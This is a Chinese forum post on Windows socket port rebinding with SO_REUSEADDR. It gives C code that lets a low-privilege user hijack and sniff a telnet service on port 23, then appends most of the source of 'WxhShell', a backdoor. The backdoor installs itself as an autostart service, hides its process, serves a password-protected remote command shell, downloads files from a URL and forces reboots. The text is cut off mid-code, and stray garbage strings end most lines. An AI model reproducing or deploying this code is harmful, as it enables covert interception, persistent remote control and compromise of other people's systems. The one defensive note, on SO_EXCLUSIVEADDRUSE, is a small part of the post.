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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l&Q`wR5e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W+ko q*P  
Y^EcQzLw  
  saddr.sin_family = AF_INET; i5Yb`Z[Y  
l#Y,R 0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X LOh7(  
D2B%0sfl~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k5.Lna  
X))/ m[_[  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <s<n  
[;) ,\\u,d  
  这意味着什么?意味着可以进行如下的攻击: ~<F8ug #  
9H`XeQ.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |_aa&v~  
GH:jH]u!V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]R f[y  
zL`iK"N`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MC.) 2B7  
ofw3S |F6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qm8B8&-  
JNXq.;:`Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CSq4x5!_7>  
\B,@`dw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P%&0]FCx  
>rKIG~P_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c?[I?ytl  
MH9q ;?.J  
  #include ;LSANr&  
  #include 1+{{EOZ4  
  #include %oa-WmWm  
  #include    *Y7u'v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   W_(j3pV?Ml  
  int main() E GU 0)<  
  { X296tA>C`  
  WORD wVersionRequested; 9BBmw(M}  
  DWORD ret; 0 e ~JMUb  
  WSADATA wsaData; c"V"zg22  
  BOOL val; EF}\brD1  
  SOCKADDR_IN saddr; r 8rgY42  
  SOCKADDR_IN scaddr; J({Xg?  
  int err; vJc-6EO  
  SOCKET s; -23w2Qt  
  SOCKET sc; >T3-  
  int caddsize; {~"/Y@&]R  
  HANDLE mt; mtp+rr  
  DWORD tid;   ]e>w }L(gV  
  wVersionRequested = MAKEWORD( 2, 2 ); !_D0vI;  
  err = WSAStartup( wVersionRequested, &wsaData ); 9YQb &  
  if ( err != 0 ) { e+ BQww  
  printf("error!WSAStartup failed!\n"); Z|j>gq  
  return -1; [KaAXv .X  
  } ^-Kf']hU  
  saddr.sin_family = AF_INET; V0.vQ/  
   d#rf5<i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 as4;:  
dx{bB%?Y\=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u^bidd6JRn  
  saddr.sin_port = htons(23); (G4at2YLd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^"1n4im  
  { )SRefW.v  
  printf("error!socket failed!\n"); u9GQU  
  return -1; L<-_1!wh  
  } FvXZ<(A{  
  val = TRUE; \[_t]'p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a /l)qB#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0s3%Kqi[  
  { g:D>.lKd  
  printf("error!setsockopt failed!\n"); |[ k.ii6iO  
  return -1; (\hx` Yh=>  
  } 7#ibN!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q#ClnG*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %D}kD6=  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 X0H!/SlS  
{V$|3m>:*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qu"\wE^.`  
  { }c`"_L  
  ret=GetLastError(); #Z`q+@@ ]A  
  printf("error!bind failed!\n"); w?k>:,'[  
  return -1; i6tf2oqO7  
  } ith 3 =`3  
  listen(s,2); m}aB?+i  
  while(1) A8fOQ  
  { $i}y8nlQ  
  caddsize = sizeof(scaddr); iWB=sL&p  
  //接受连接请求 aS{n8P6vW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (*nT(Adk  
  if(sc!=INVALID_SOCKET) [.'|_l  
  { y'~U%,ki6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gk[aM~p  
  if(mt==NULL) 3kIN~/<R+7  
  { +N9X/QFKV  
  printf("Thread Creat Failed!\n"); ?{|q5n  
  break; \y)rt )  
  } w\}ieI8J  
  } |\<`Ib4j  
  CloseHandle(mt); ~'iHo]9O  
  } '()xHEGl3  
  closesocket(s); }=UHbU.n~!  
  WSACleanup(); E$:*NSXj  
  return 0; W*4-.*U8a  
  }   ox>^>wR*  
  DWORD WINAPI ClientThread(LPVOID lpParam) O=&0H|B  
  { ^aMg/.j  
  SOCKET ss = (SOCKET)lpParam; g\(G\ tnu>  
  SOCKET sc; )}]g] g  
  unsigned char buf[4096]; S)k*?dQ##R  
  SOCKADDR_IN saddr; *1 ]uH e  
  long num; EXwo,?I  
  DWORD val; >CgTs  
  DWORD ret; 1i"WDu*h3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5k3n\sqZA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2LL'J7  
  saddr.sin_family = AF_INET; {3p4:*}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tl4V7!U@^z  
  saddr.sin_port = htons(23); =J]]EoX/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,p@y] cr  
  { *,)Md[  
  printf("error!socket failed!\n"); `*["UER  
  return -1; k\YG^I  
  } a| x.C6P e  
  val = 100; axRV:w;E<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FQ2  
  { a %'the  
  ret = GetLastError(); P[#e/qnXu|  
  return -1; RtP2]O(F  
  } Xy&A~F  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V _/%b)*  
  { e *(!^Q1  
  ret = GetLastError(); }DE g-j,F  
  return -1; B5VKs,g  
  } e7r -R3_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9ni1f{k  
  {  $s c  
  printf("error!socket connect failed!\n"); dA`IEQJL  
  closesocket(sc); #$+*;  
  closesocket(ss); 3cyHfpx-W  
  return -1; p8H'{f\G  
  } i2A81>68<  
  while(1) A*R^n}sh  
  { | y# Jx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S8w _ii3zd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v ~?qz5:K~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >,Ci?[pf  
  num = recv(ss,buf,4096,0); x{8xW0  
  if(num>0) ' !cCMTj  
  send(sc,buf,num,0); TnOggpQ6X  
  else if(num==0) ksqQM  
  break; 6V:U (g  
  num = recv(sc,buf,4096,0); Nk 8B_{  
  if(num>0) )?n aN  
  send(ss,buf,num,0); )VS=E7[  
  else if(num==0) 4*#18<u5  
  break; \*y-g@-{W$  
  } V-2(?auZd  
  closesocket(ss); |t&>5HM  
  closesocket(sc); _LUhZlw  
  return 0 ; \0I_<  
  } #n #}s  
VUGmi]qd  
]^'Kd*x  
========================================================== l0w]`EE  
m@F`!qY~Y\  
下边附上一个代码,,WXhSHELL Q&ptc>{bH6  
x8\?}UnB  
========================================================== y`5 9A  
Jr!JHC9i  
#include "stdafx.h" ~i{(<.he  
>d*@_ kJM  
#include <stdio.h> !bx;Ta.  
#include <string.h> )Y0!~# `  
#include <windows.h> (ejvF):|  
#include <winsock2.h> &|ex`nwc0  
#include <winsvc.h> y0.'?6k  
#include <urlmon.h> z}9(x.I  
,vawzq[oSy  
#pragma comment (lib, "Ws2_32.lib") 0 [# 3;a  
#pragma comment (lib, "urlmon.lib") Z'W =\rl  
"1*:JVG  
#define MAX_USER   100 // 最大客户端连接数 o]_dJB  
#define BUF_SOCK   200 // sock buffer vjCu4+w($Z  
#define KEY_BUFF   255 // 输入 buffer 3E]plj7$  
^4hO  
#define REBOOT     0   // 重启 1~`fVg  
#define SHUTDOWN   1   // 关机 HTS0s\R$  
uc\Kg1{  
#define DEF_PORT   5000 // 监听端口 \<>ih)J@tt  
f:w?pE  
#define REG_LEN     16   // 注册表键长度 CL;}IBd a  
#define SVC_LEN     80   // NT服务名长度 OU.6bmWy|  
~2N"#b&J  
// 从dll定义API 1Z2HUzqh.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ({)+3]x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); mb3"U"ohs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |4z IfAO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cn3\kT*  
+oML&g-g_  
// wxhshell配置信息 o4,6.1}  
struct WSCFG { [Ek7b *  
  int ws_port;         // 监听端口  _,0  
  char ws_passstr[REG_LEN]; // 口令 70nqD>M4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,HV(l+k {|  
  char ws_regname[REG_LEN]; // 注册表键名 P=Jo+4O  
  char ws_svcname[REG_LEN]; // 服务名 RJ&RTo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xn(kKB.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E_wCN&`[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g2ixx+`?|:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no djG*YM\B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]7BvvQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !hy-L_wL]  
Vwf$JdK%&l  
}; QO~P7r|A  
n'LrQU  
// default Wxhshell configuration #A/  
struct WSCFG wscfg={DEF_PORT, v$v-2y'%  
    "xuhuanlingzhe", CwzZ8.o$i  
    1, tw/dD +  
    "Wxhshell", q3N jky1w  
    "Wxhshell", & h)yro  
            "WxhShell Service",  8q!]y6  
    "Wrsky Windows CmdShell Service", lgy <?LI\  
    "Please Input Your Password: ", pE0Sw}A:9  
  1, 2MIi=c:oqK  
  "http://www.wrsky.com/wxhshell.exe", ^ VyKd  
  "Wxhshell.exe" "+nRGEs6  
    }; xm~`7~nFR  
ltSU fI  
// 消息定义模块 _J#zY- j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '<)n8{3Q5w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X`K<>0.N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )dw'BNz5hT  
char *msg_ws_ext="\n\rExit."; I$G['` XX/  
char *msg_ws_end="\n\rQuit."; pah'>dAL  
char *msg_ws_boot="\n\rReboot..."; eM6<%?b  
char *msg_ws_poff="\n\rShutdown..."; V=l0(03j~  
char *msg_ws_down="\n\rSave to "; EME|k{W  
O=t_yy  
char *msg_ws_err="\n\rErr!"; N>`Aw^ _@&  
char *msg_ws_ok="\n\rOK!"; <'Eme  
|wMN}bq|T  
char ExeFile[MAX_PATH]; b8t7u  
int nUser = 0; hi( ;;C9  
HANDLE handles[MAX_USER]; <'oQ \eB  
int OsIsNt; 9TC,!0U{_.  
q<|AZ2Ai  
SERVICE_STATUS       serviceStatus; JH9J5%sp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FVKTbvYn  
!Ai@$tl[S  
// 函数声明 7JH6A'&  
int Install(void); 3nQ`]5.Q w  
int Uninstall(void); rM%1GPVob  
int DownloadFile(char *sURL, SOCKET wsh); g3y~bf  
int Boot(int flag); H7n>Vx:L-  
void HideProc(void); _B<X`L =  
int GetOsVer(void); wP@(?z  
int Wxhshell(SOCKET wsl); 6bC3O4Rw  
void TalkWithClient(void *cs);  }my`K  
int CmdShell(SOCKET sock); ?:q*(EC<  
int StartFromService(void); q<1 ~ vA9  
int StartWxhshell(LPSTR lpCmdLine); g) jYFfGfH  
}Sv:`9=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TvbE2Q;/UL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g2_"zDiw2  
q2E_ A  
// 数据结构和表定义 ;e*!S}C,  
SERVICE_TABLE_ENTRY DispatchTable[] = } q8ASYNc  
{  =7eV/3  
{wscfg.ws_svcname, NTServiceMain}, Wne@<+mX  
{NULL, NULL} 26h21Z16q  
};  \4fQMG  
j\M?~=*w  
// 自我安装 L!xi  
int Install(void) bk[!8- b/a  
{ zO6oT1I  
  char svExeFile[MAX_PATH]; :V||c5B+  
  HKEY key; wibNQ`4k  
  strcpy(svExeFile,ExeFile); FYQS)s  
|A(Iti{v  
// 如果是win9x系统,修改注册表设为自启动 +ZP7{%  
if(!OsIsNt) { 5{,<j\#L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~D>p0+-c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CrTw@AW9)  
  RegCloseKey(key); 5b7RY V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *vMn$,^0h9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pA4xbr2  
  RegCloseKey(key); 4*;MJ[|  
  return 0; >vsqG=x  
    } m1AJ{cs  
  } f|g g  
} \9EjClf o  
else { J'r^/  
,V}WM%Km  
// 如果是NT以上系统,安装为系统服务 dPRra{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Vxt+]5X  
if (schSCManager!=0) uB?ZcF}Tk  
{ 6Kz,{F@  
  SC_HANDLE schService = CreateService tZo} ;|~'  
  ( @C aG9]  
  schSCManager, klhtKp_p  
  wscfg.ws_svcname, 8 Fbo3  
  wscfg.ws_svcdisp, mX|ojZ  
  SERVICE_ALL_ACCESS, k9F=8q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /Z4et'Lo  
  SERVICE_AUTO_START, 69.NPy@  
  SERVICE_ERROR_NORMAL, 08{@rOr  
  svExeFile, g9F?z2^  
  NULL, ddR>7d}N  
  NULL, m#p'iU*va,  
  NULL, > Nr#O  
  NULL, +"VP-s0  
  NULL BDVtSs<7  
  ); /Ci<xmP  
  if (schService!=0) i}?>g-(  
  { 9&NgtZpt  
  CloseServiceHandle(schService); ~Cjn7  
  CloseServiceHandle(schSCManager); TS5Q1+hWHV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9_s`{(0?  
  strcat(svExeFile,wscfg.ws_svcname); Aiea\j Bv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :U x_qB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Af{"pzY  
  RegCloseKey(key); A5w6]:f2  
  return 0; Y nZiT e@  
    } n'w.; q  
  } ReeH@.74  
  CloseServiceHandle(schSCManager); WuW^GC{7  
} g=o4Q< #^y  
} B7vpsSL  
@s^-.z  
return 1; RpYERAgT  
} o _H`o&xr  
)\^-2[;  
// 自我卸载 Rws3V"{`[  
int Uninstall(void) 5/z/>D;  
{ e?f IXk~b  
  HKEY key; #R RRu2  
>lM l  
if(!OsIsNt) { 8HdAFRw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2GStN74Xr  
  RegDeleteValue(key,wscfg.ws_regname); "C3/T&F  
  RegCloseKey(key); =mmWl9'mJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0 0U> F  
  RegDeleteValue(key,wscfg.ws_regname); ws^ np  
  RegCloseKey(key); xn|(9#1o  
  return 0; q"_QQ~  
  } N)>ID(}F1  
} Zj4Uak  
} {kAc(  
else { jlg(drTo  
L4?IHNB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5rUdv}.  
if (schSCManager!=0) .3!1`L3  
{ ^/=KK:n~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k-""_WJ~^  
  if (schService!=0) C"]^Q)aJN  
  { sUm'  
  if(DeleteService(schService)!=0) { 7T'B6`-Ox  
  CloseServiceHandle(schService); B,fo(kG  
  CloseServiceHandle(schSCManager); FU<Jp3<%  
  return 0; XBw)H  
  } f:P}*^ Gw  
  CloseServiceHandle(schService); .XhrCi Z  
  } %;"y+YFdv  
  CloseServiceHandle(schSCManager); Ld-_,-n  
} r/*D:x|yN  
} wn)W ?P;k  
pcI uN  
return 1; ]"1DGg \A  
} 9 JK Ew  
bK-N:8Z  
// 从指定url下载文件 maR"t+  
int DownloadFile(char *sURL, SOCKET wsh) cPc</[x[W  
{ ]]j;/TiG  
  HRESULT hr; {2 "zVt#h  
char seps[]= "/"; ~.lPEA %%  
char *token; xA[mm  
char *file; Mh 7DV  
char myURL[MAX_PATH]; {T~#?v(  
char myFILE[MAX_PATH]; -RK- Fu<e  
k+l b@!  
strcpy(myURL,sURL); Pd]|:W< E  
  token=strtok(myURL,seps); 9]o-O]7/  
  while(token!=NULL) W'u>#  
  { -;k+GrLr^  
    file=token; ib791  
  token=strtok(NULL,seps); xFg>SJ7]  
  } wo 5   
SOvF[,+  
GetCurrentDirectory(MAX_PATH,myFILE); dN[\xVcj  
strcat(myFILE, "\\"); R .2wqkY  
strcat(myFILE, file); Ef13Q]9|  
  send(wsh,myFILE,strlen(myFILE),0); 0Z]!/AsC  
send(wsh,"...",3,0); YkQd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eO[b1]WLP  
  if(hr==S_OK) g9 5`.V}  
return 0; @2v_pJy^  
else 2gVm9gAHUd  
return 1; 2SR:FUV/  
t#eTV@-  
} Hl |z</*+  
d9|<@A  
// 系统电源模块 3|Xyl`i4o  
int Boot(int flag) tcog'nAz  
{ }?v )N).kW  
  HANDLE hToken; Z>#i**  
  TOKEN_PRIVILEGES tkp; ^&Y#)II  
l0i^uMS  
  if(OsIsNt) { g5r(>,vY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ! #2{hQRu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xW Q`tWA:J  
    tkp.PrivilegeCount = 1; .y:U&Rw4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \mlqO[ S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0h7r&t%YsV  
if(flag==REBOOT) { ,L'zRyP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YQA ,f#  
  return 0; P\)iZiGc  
} l_%6  
else { g_COp "!~9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <dhM\^ [  
  return 0; c6]D-YNF G  
} nwCrZW  
  } &W6^sj*k5U  
  else { ."y1_dDql  
if(flag==REBOOT) { wZZt  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Rr|VD@%  
  return 0; i@M [>~  
} Y,zxbXZv'5  
else { %z 4Nl$\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c=.(!qdH  
  return 0; l0A&9g*l2  
} QGmn#]w\\  
} SS.dY""89  
UFb )AnK  
return 1; 0b(N^$js'  
} K:30_l<  
OX\F~+  
// win9x进程隐藏模块 ;q6Ki.D  
void HideProc(void) "C0Q(dr/n  
{  l"]}Ts#  
P3 ^Y"Pv?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )U{Qj5W+F  
  if ( hKernel != NULL ) Czu\RXJR  
  { 8StgsM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _/5H l`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Pw!MS5=r  
    FreeLibrary(hKernel); ChXq4]  
  } #" iu| D  
 p|D/;Mk  
return; 9|CN8x-  
} LOV)3{m  
l3F6AlPql  
// 获取操作系统版本 Jz *;q~  
int GetOsVer(void) \7'{g@C(  
{ ?"g2v-jTK  
  OSVERSIONINFO winfo; JbQ) sp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /{--+ C  
  GetVersionEx(&winfo); =^50FI|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <1\Nb{5  
  return 1; *N'p~LJ  
  else "d5n \@[t  
  return 0; ?o#%Xs  
} ?zHPJLv|Y  
L<{i ,'M  
// 客户端句柄模块 ThbGQ"/  
int Wxhshell(SOCKET wsl) zi*R`;_`,  
{ pOG1jI5<{8  
  SOCKET wsh; 2'MZ s]??w  
  struct sockaddr_in client; Ffta](Z;  
  DWORD myID; ,>+p-M8ZL  
WKa~[j|-K  
  while(nUser<MAX_USER) R/>@ +  
{ a\ YV3NJ/A  
  int nSize=sizeof(client); PQ$%H>{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +-CtjhoS  
  if(wsh==INVALID_SOCKET) return 1; 2n"V}p>8i#  
|T)6yDL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :^3LvPM  
if(handles[nUser]==0) g0ly  
  closesocket(wsh); i3'9>"`  
else T\ >a!  
  nUser++; .O}%  
  } 5>N2:9We  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D#JL!A%O  
>{J(>B\  
  return 0; s'J:f$flS  
} g:Xhw$x9  
:\7X}n*&  
// 关闭 socket <.izVD4/Gg  
void CloseIt(SOCKET wsh) *QQzvhk  
{ {v ;&5!s  
closesocket(wsh); =uYYsC\T  
nUser--; 2/=l|!JKLz  
ExitThread(0); cI?8RF(;  
} +jnJ|h({  
JKmIvZ)8  
// 客户端请求句柄 0eu$ W  
void TalkWithClient(void *cs) 3r."j2$Hs0  
{ mah JSz(3  
YRN06*hS  
  SOCKET wsh=(SOCKET)cs; v+#}rUTF  
  char pwd[SVC_LEN]; 7f!YoW;1  
  char cmd[KEY_BUFF]; ^mO~ W!"  
char chr[1]; V"G*N<q  
int i,j; WQL\y3f5  
!SdSE^lz`  
  while (nUser < MAX_USER) { E+g@M8D  
E3gh?6  
if(wscfg.ws_passstr) { Tl[!=S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v4c[(&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P?B;_W+~A.  
  //ZeroMemory(pwd,KEY_BUFF); T@&K- UQ  
      i=0; Rww{:R  
  while(i<SVC_LEN) { w\i\Wp,FP  
(w/T-*  
  // 设置超时 Xe:jAkDp  
  fd_set FdRead; Df<xWd2  
  struct timeval TimeOut; (I{rLS!o,L  
  FD_ZERO(&FdRead); K<ft2anY5  
  FD_SET(wsh,&FdRead); +kO!Xc%P&  
  TimeOut.tv_sec=8; (UvM@]B  
  TimeOut.tv_usec=0; q[W 0 N >  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q&=w_Wc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jun_QiU:2  
_Wq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $ig0j`  
  pwd=chr[0]; D"rK(  
  if(chr[0]==0xd || chr[0]==0xa) { J1sv[$9  
  pwd=0; hp7|m0.JW  
  break; ?6un4EVL{  
  } UK O[r;  
  i++; wFsyD3  
    } ';jYOVe  
>TnTnFWX  
  // 如果是非法用户,关闭 socket Be=u&T:~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v>Yb/{A  
} F9E<K]7K  
6ZG+ZHUC&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $oU*9}}Rn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b TM{l.Aq3  
%GA"GYL9'  
while(1) { evAMJ=  
,3p~w5C/+[  
  ZeroMemory(cmd,KEY_BUFF); BJsz2t :0  
W;L7SF g)  
      // 自动支持客户端 telnet标准   C|). ;V&  
  j=0; 1&)?JZhg  
  while(j<KEY_BUFF) { nvJf/90$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ],FMwCI  
  cmd[j]=chr[0]; 9~mh@Kgv  
  if(chr[0]==0xa || chr[0]==0xd) { JedmaY06=  
  cmd[j]=0; L> 9V&\  
  break; M&@b><B  
  } &d+Kg0:  
  j++; 0y;*Cfi9  
    } )Sg~[WxDv  
2w_WAdi  
  // 下载文件 8I8 F/47x  
  if(strstr(cmd,"http://")) { $.PuK~}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'y2nN=CN  
  if(DownloadFile(cmd,wsh)) PQnF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q[`]D7W "  
  else 6[LM_eP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vCxD~+zf  
  } 1[qLA!+  
  else { UAFwi%@!-q  
x:>wUhzZ  
    switch(cmd[0]) { O[s{ Gk'>  
  s'a/j)^  
  // 帮助 Z X(z;|l45  
  case '?': { gp^ 5#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BuWHX>H  
    break; C8e !H  
  } 9S7 kUl{  
  // 安装 K[Kh&`T  
  case 'i': { &7b|4a8B%  
    if(Install()) TI#''XCB5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !\i\}feb  
    else {7;8#.S72  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5b/|!{  
    break; o/6-3QUak  
    } XKttZOiGT  
  // 卸载 i;jw\ed  
  case 'r': { V9( @Y  
    if(Uninstall()) X*39c b(b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ng:9 l3 x  
    else ph[#QHB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wS+ ^K  
    break; NufLzg{  
    } 4.h=&jz&  
  // 显示 wxhshell 所在路径 X M#T'S9y8  
  case 'p': { .ir<s>YM  
    char svExeFile[MAX_PATH]; Vf'd*-_!Q<  
    strcpy(svExeFile,"\n\r"); U.XNv-M  
      strcat(svExeFile,ExeFile); #u"k~La  
        send(wsh,svExeFile,strlen(svExeFile),0); j>x-"9N  
    break; a /#PLP  
    } S<u-n8bv  
  // 重启 =p?WBZT|:  
  case 'b': { 4EZ9hA9+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n9A7K$ZD@  
    if(Boot(REBOOT)) aj}sc/Qa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K]|> Et`  
    else { 5ish\"  
    closesocket(wsh); H nUYqhZS  
    ExitThread(0); Xn,v]$M!  
    } \X&H;xnC5  
    break; 6290ZNvr  
    } 7#U^Dx\yh  
  // 关机 mG`e3X6@-  
